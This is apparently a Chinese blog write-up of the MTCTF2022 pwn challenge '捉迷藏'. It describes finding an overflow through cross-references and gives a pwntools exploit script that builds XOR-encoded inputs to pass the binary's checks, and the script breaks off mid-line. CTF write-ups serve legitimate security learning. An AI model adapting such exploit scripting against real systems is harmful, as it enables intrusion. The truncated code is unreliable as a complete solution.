MTCTF2022-pwn


title: MTCTF2022
date: 2022-09-26 20:16:02
tags: pwn

捉迷藏

程序非常大,但是很多是阻碍寻找溢出点的垃圾代码。我的思路是通过寻找输入点和查看交叉引用来寻找溢出点,再反向推所需条件。

溢出点:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nt9WcoTP-1664870864675)(https://raw.githubusercontent.com/caddyetui/blog_picture/master/img/202209262027531.png)]

后面只需要反向推所需条件即可。

EXP:

# coding=UTF-8
from pwn import *

filename = './pwn'
libc_name = './libc-2.31.so'

context.log_level = 'debug'
context.terminal = ['tmux','split','-vp','80']
context.binary = filename

elf = ELF(filename)
libc = ELF(libc_name)


ip = '39.106.78.22'
port = 41772
debug = 1
if debug:
    p = process(filename)
else:
    p = remote(ip,port)


p.send(" "*8)

v23 = [ord(i) for i in "JlQZtdeJUoYHwWVHWPoRnkWCCzTUIJfxSFyySvunXdHQwaPgqCe"]

v23[1] ^= 0xE9
v23[42] ^= 0x6A
v23[39] ^= 7
v23[15] ^= 0xF4
v23[36] ^= 0xE6
v23[18] ^= 0x90
v23[5] ^= 0xEF
v23[4] ^= 0xF9
v23[26] ^= 0xDC
v23[2] ^= 0x2F
v23[17] ^= 0xFB
v23[35] ^= 0x6E
v23[48] ^= 0x14
v23[45] ^= 0xF
v23[23] ^= 0x45
v23[32] ^= 0x97
v23[29] ^= 6
v23[7] ^= 7
v23[46] ^= 0x84
v23[41] ^= 0x18
v23[49] ^= 0x4D
v23[50] ^= 0x2C
v23[8] ^= 2
v23[28] ^= 0xB3
v23[6] ^= 0x8C
v23[14] ^= 0xBE
v23[38] ^= 0x28
v23[24] ^= 0x50
v23[3] ^= 0x3E
v23[34] ^= 0x93
v23[30] ^= 0xF6
v23[16] ^= 0xE7
v23[25] ^= 0x34
v23[12] ^= 0x90
v23[33] = ~v23[33];
v23[19] ^= 0x38
v23[10] ^= 0xEE
v23[43] ^= 0x54
v23[31] ^= 0x29
v23[9] ^= 0xB
v23[21] ^= 0x4F
v23[13] ^= 7
v23[20] ^= 0xC3
v23[37] ^= 0xA
v23[27] ^= 0xF4
v23[44] ^= 0x50
v23[40] ^= 0x81
v23[22] ^= 0x71
v23[11] ^= 0xA1
v23[0] ^= 0x5B
v23[47] ^= 0xA7

for idx, val in enumerate(v23):
    if val < 0:
        v23[idx] = 0
p.sendafter("HuEqdjYtuWo:","".join([chr(i) for i in v23]))


v23 = [ord(i) for i in "eRoTxWxqvoHTuwDKOzuPpBLJUNlbfmjvbyOJyZXYAJqkspYTkvatR"]
v23[27] ^= 0x25
v23[48] ^= 0x6B
v23[47] ^= 0xF8
v23[5] ^= 0x4D
v23[39] ^= 0x57
v23[19] ^= 0x89
v23[13] ^= 0x16
v23[25] ^= 0x68
v23[6] ^= 9
v23[17] ^= 0xA6
v23[43] ^= 0x91
v23[46] ^= 0xED
v23[10] ^= 0xFC
v23[34] ^= 0x73
v23[29] ^= 0xC3
v23[9] ^= 0x7B
v23[1] ^= 0x7D
v23[50] ^= 0xCB
v23[51] ^= 0x78
v23[7] ^= 0xF
v23[52] ^= 0x9F
v23[3] ^= 0xD5
v23[11] ^= 0xE6
v23[49] ^= 0x95
v23[23] ^= 0xFA
v23[33] ^= 0x1A
v23[35] ^= 0x9D
v23[8] ^= 0x11
v23[30] ^= 0xF1
v23[42] ^= 0xCE
v23[44] ^= 0x16
v23[2] ^= 0xB4
v23[38] ^= 0x8C
v23[36] ^= 0xBA
v23[40] ^= 0x1D
v23[16] ^= 0x54
v23[45] ^= 0x72
v23[14] ^= 0x26
v23[41
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值